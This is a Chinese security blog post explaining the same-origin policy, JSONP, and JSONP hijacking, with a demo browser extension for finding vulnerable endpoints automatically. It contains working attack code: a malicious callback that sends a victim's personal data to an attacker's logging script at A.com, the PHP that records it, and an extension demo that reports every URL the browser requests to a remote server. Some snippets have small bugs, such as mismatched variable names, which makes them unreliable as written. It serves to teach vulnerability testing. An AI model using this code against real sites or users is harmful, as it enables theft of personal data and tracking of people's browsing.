Jsonp漏洞简析及自动化漏洞挖掘脚本编写
Posted 星阑科技
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Jsonp漏洞简析及自动化漏洞挖掘脚本编写相关的知识,希望对你有一定的参考价值。
Jsonp漏洞被广泛的应用到渗透测试的信息搜集环节,攻击者在搞定一个站点之后,可以通过xss等形式插入jsonp漏洞利用代码,从而获取到浏览网站的用户的私人信息,本篇文章重点对jsonp漏洞利用原理进行阐述并提供一种jsonp漏洞自动化挖掘脚本的编写思路。
为了用户的信息安全,浏览器在很早以前就引用了同源策略,同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。如果两个页面的协议,端口和域名都相同,则两个页面具有相同的源。
下表给出了相对http://woai.xinglan.com/page.html同源检测的示例:
url | 结果 | 原因 |
---|---|---|
http://woai.xinglan.com/dir/page.html | 成功 | |
http://woai.xinglan.com/dir/ai/page.html | 成功 | |
https://woai.xinglan.com/ttt.html | 失败 | 不同协议 |
http://woai.xinglan.com:2333/page.html | 失败 | 不同端口 |
http://woyeai.xinglan.com/page.html | 失败 | 不同域名 |
如果没有同源策略,假设一个恶意网站的页面通过iframe嵌入了银行的登录页面(二者不同源),那么恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。那么在同源策略存在的情况下,我们如何去做一些操作,使得网页能够获取到其他网页(不同源)的数据呢?这个时候,jsonp就登场了。
Jsonp(JSON with Padding)是json的一种"使用模式",它是一种非官方的协议,使用jsonp技术可以让网页从别的域名或网站获取数据,即跨域读取数据,常用户服务器与客户端的跨源通信。
JSONP的最基本的原理是:动态添加一个<script>标签,而script标签的src属性是没有跨域的限制的。由于同源策略的限制,XmlHttpRequest只允许请求当前源(域名、协议、端口都相同)的资源,如果要进行跨域请求, 我们可以通过使用html的script标记来进行跨域请求,并在响应中返回要执行的script代码,其中可以直接使用JSON传递javascript对象。
举一个栗子:
服务端
我们在服务端写一个php文件,命名为jsonp.php,当有网页访问jsonp.php的时候,其便会返回如下:
header('Content-type: application/json');
//获取回调函数名
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);
//json数据
$json_data = '["我爱","星阑"]';
//输出jsonp格式的数据
echo $jsoncallback . "(" . $json_data . ")";
客户端
我们在客户端,通过jsonp的形式拿到服务端传回的数据。客户端写了一个函数来处理服务端返回的数据。
<html>
<head>
<meta charset="utf-8">
<title>JSONP 实例</title>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
function callbackFunction(result, methodName)
{
var html = '<ul>';
for(var i = 0; i < result.length; i++)
{
html += '<li>' + result[i] + '</li>';
}
html += '</ul>';
document.getElementById('divCustomers').innerHTML = html;
}
</script>
<script type="text/javascript" src="http://xxx.xxx.xxx.xxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>
服务端之间访问效果如下:
本地客户端访问效果如下:
可以看到,本地客户端通过<script>标签,指定src为服务端的jsonp.php,然后客户端将<script>标签待会数据,通过其代码里的callbackFunction进行了一个打印输出。通过jsonp,我们实现了数据的跨域传输。
通过前面的介绍,我们已经了解了如何通过Jsonp技术实现数据的跨域访问,接下来我们介绍一下Jsonp劫持的原理。我们考虑这样一种情况,存在两个网站A和B,用户在网站B上注册并且填写了自己的用户名,手机号,身份证号等信息,并且网站B存在一个jsonp接口,用户在访问网站B的时候。这个jsonp接口会返回用户的个人信息,并在网站B的html页面上进行显示。如果网站B对此jsonp接口的来源验证存在漏洞,那么当用户访问网站A时,网站A便可以利用此漏洞进行JSONP劫持来获取用户的信息。
具体的利用流程如下:
1.用户在网站B上注册账户,填写了自己的手机号、姓名、身份证等个人信息,并保持登录状态
2.用户通过同一个浏览器,向网站A发送URL请求。网站A可能是用户经常登录的页面,或者是被恶意劫持的大型厂商的页面。
3.网站A页面存在恶意的jsonp回调函数以及<script>标签,示例代码如下:
<script type="text/javascript">
function callback(result)
{
var logUrl="http://A.com/writelog.php?"+'result='+result;
$.ajax({
url: LogUrl,
type: "GET",
cache: false,
});
}
</script>
<script type="text/javascript" src="http://woai.xinglan.com/userinfo?jsonp=callback"></script>
4.网站A存在一个writelog.php,当callback函数被触发的时候,会向writelog.php发送请求,writelog.php会把请求记录到log.txt文件中。
<?php
file_put_contents("urllog.txt","result: ",FILE_APPEND);
file_put_contents("urllog.txt",$_GET['result'],FILE_APPEND);
file_put_contents("urllog.txt","\n",FILE_APPEND);
?>
5.用户向网站A请求之后,网站A中的恶意代码,会向网站B发送jsonp请求,并且收到网站B返回的数据
6.浏览器在收到网站B返回的数据之后,便会调用网站A页面的callback函数,将用户在网站B上注册的信息,保存到log.txt中
流程图如下:
Jsonp漏洞的手动挖掘,可以借助Chrome浏览器来进行。按F12打开开发者模式,点击Network窗口并勾选preserve log
然后在Filter中筛选jsonp的关键字,常见的关键字有
cb
callback
jsoncb
jsonpcb
jsonp
jQuery
jsoncallback
jsonpcallback
jsoncall
jsonpcall
我们在Filter中进行关键字筛选之后可以看到筛选结果
在筛选出链接之后,我们需要本地进行一下验证工作,验证此jsonp是否可以通过跨域访问并且返回数据,poc如下:
<!DOCTYPE html>
<html>
<head>
<title>jsonp劫持验证示例</title>
<meta charset="utf-8">
<style type="text/css">
table{
display:inline
}
</style>
</head>
<body>
<script src='https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js'></script>
<script type="text/javascript">
function callback(json){
console.log(json);
}
var s=document.createElement('script');
s.type="text/javascript";
s.src='https://www.xxxxx.com?callback=callback';
document.body.appendChild(s);
</script>
</body>
</html>
我们可以看到poc.html返回如下
poc.html里面返回的数据并不都是有价值的,当我们在用poc.html检测jsonp链接的时候,发现其能够返回用户名、用户ID等信息的时候,我们可以判定这个jsonp链接是有敏感信息泄漏的。
Jsonp劫持漏洞的自动挖掘主要分以下几个步骤:
1.设置一台apache服务器,用于接收jsonp劫持漏洞的详细内容。
2.在访问网站的时候检测浏览器发出的所有请求。
3.如果发现有callback等关键字段,则将其记录下来,并继续访问,检查请求返回的数据。
主要用到了 chrome.webRequest.onBeforeSendHeaders 这个api,此api的作用是,在发送 HTTP 请求前,一旦请求头信息可用就产生这一事件。这一事件可能在与服务器的 TCP 连接建立后产生,但是确保在发送任何 HTTP 数据前产生。
利用demo如下:
chrome.webRequest.onBeforeSendHeaders.addListener(
function(details) {
var url=details.url
var LogUrl = "http://woai.xinglan.com/writeurl.php" + '&url=' + url;
$.ajax({
url: LogUrl,
type: "GET",
cache: false,
});
},
{urls: ['<all_urls>']},
[ 'blocking', 'requestHeaders']
);
其中details包含字段如下图:
再回到我们的目标上来,在检测jsonp漏洞时,我们首先要判断的是,浏览器访问的url是否包含jsonp请求,所以我们需要在代码中加入一个CheckUrlCallback函数如下:
function CheckUrlCallback() {
check = /[\?\&](jsonp|callback|cb|callback|jsoncb|jsonpcb|jsonp|jQuery|jsoncallback|jsonpcallback|jsoncall|jsonpcall)=([^\&]*)(\&?)/i.test(details.url);
if (check){
return 1;
}
return 0;
}
当CheckUrlCallback函数正则匹配到jsonp关键字时,我们就需要对此url进行进一步关注,通过$ajax对此url进行访问,然后对其返回的数据进行检查,如果返回数据中有我们想要的关键字,那么就判定其疑似为jsonp漏洞。
检查返回数据函数demo如下:
function CheckResponseback(data) {
check = /[\"\'](uid|name|phone|mail|qq)([^\&]*)(\&?)/i.test(data);
if (check) {
return 1;
}
return 0;
}
判定完jsonp漏洞之后,可以按照本节最开始的函数demo,给我们的apache服务器发送此url,让服务器记录下此网址,然后人工验证。上述仅为一个小小的demo,要想将此插件做的比较完善,还需注意如下细节:
1.设置函数判断浏览器发出的是否为http/https协议。
2.判断浏览器发出的请求中是否包括类似"token","auth"等身份验证字段,如果有这些字段的话,说明厂商服务器对jsonp请求的身份做了验证以防止jsonp漏洞。
3.构造一个url请求字典,将已经请求过的url放入字典中,防止插件对同一url重复判定。
我们认为以上思路是具有操作性的,在实现之后发现测试效果良好,希望这篇文章能给您带来一些独特的思路,欢迎交流与指正。
北京星阑科技有限公司(简称星阑科技)是一家以安全技术为核心、AI技术为驱动的网络安全科技公司,致力于提供高级攻防服务和智能化网络安全解决方案,以应对政府、企业所面临的日益严峻的网络安全威胁,让网络空间更加安全与智慧。
目前,星阑科技提供攻防对抗、APT防御、高级渗透等安全服务,为客户全面梳理威胁矩阵、进行安全赋能。产品包括攻击诱捕系统、邮件攻击一体化系统、基于前沿的图神经网络的智能边界防护引擎以及AI自动化漏洞挖掘系统,能全面提升客户的安全防护能力并有效降低安全运维成本。
以上是关于Jsonp漏洞简析及自动化漏洞挖掘脚本编写的主要内容,如果未能解决你的问题,请参考以下文章